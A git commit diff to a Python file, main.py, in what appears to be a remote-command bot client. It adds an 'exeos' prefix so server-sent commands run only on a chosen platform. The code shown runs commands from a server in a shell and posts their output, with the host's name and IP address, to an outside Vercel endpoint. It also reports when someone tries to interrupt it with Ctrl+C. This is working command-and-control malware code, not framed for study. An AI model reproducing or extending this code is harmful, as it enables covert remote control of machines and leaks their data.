diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-16 22:36:44 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-16 22:36:44 +0800 |
| commit | 0d369ecd5d9e9c0fba9bf8a7a321054007e66538 (patch) | |
| tree | 4c3cad9e561872878c483e7100887d45cfcb6030 /main.py | |
| parent | 1aa2859ac2ac8e3c86a52e22060201e1bf9b012f (diff) | |
updated
Diffstat (limited to 'main.py')
| -rw-r--r-- | main.py | 21 |
1 files changed, 14 insertions, 7 deletions
@@ -43,7 +43,8 @@ while True: print("Failed to connect to server") sleep(3) continue - # execute command + # execute command + localcmd = None if old_command != command: try: if command.startswith("exename "): @@ -55,10 +56,10 @@ while True: old_command = command continue if command.startswith("exeos "): - command = command.split() - if command[1] == platform: - del command[:2] - command = ' '.join(command) + localcmd = command.split() + if localcmd[1] == platform: + del localcmd[:2] + localcmd = ' '.join(localcmd) else: old_command = command continue @@ -89,7 +90,10 @@ while True: global sperror sperror = None try: - cmdout = system(command, shell=True).decode() + if localcmd: + cmdout = system(localcmd, shell=True).decode() + else: + cmdout = system(command, shell=True).decode() except CalledProcessError as e: try: sperror=True @@ -119,7 +123,10 @@ while True: if not sperror: if cmdout != "": try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``$ {command}`` ```{cmdout}```- {ip}@{hostname}") + if localcmd: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```{cmdout}```") + else: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {command}`` ```{cmdout}```") except KeyboardInterrupt: try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``") |
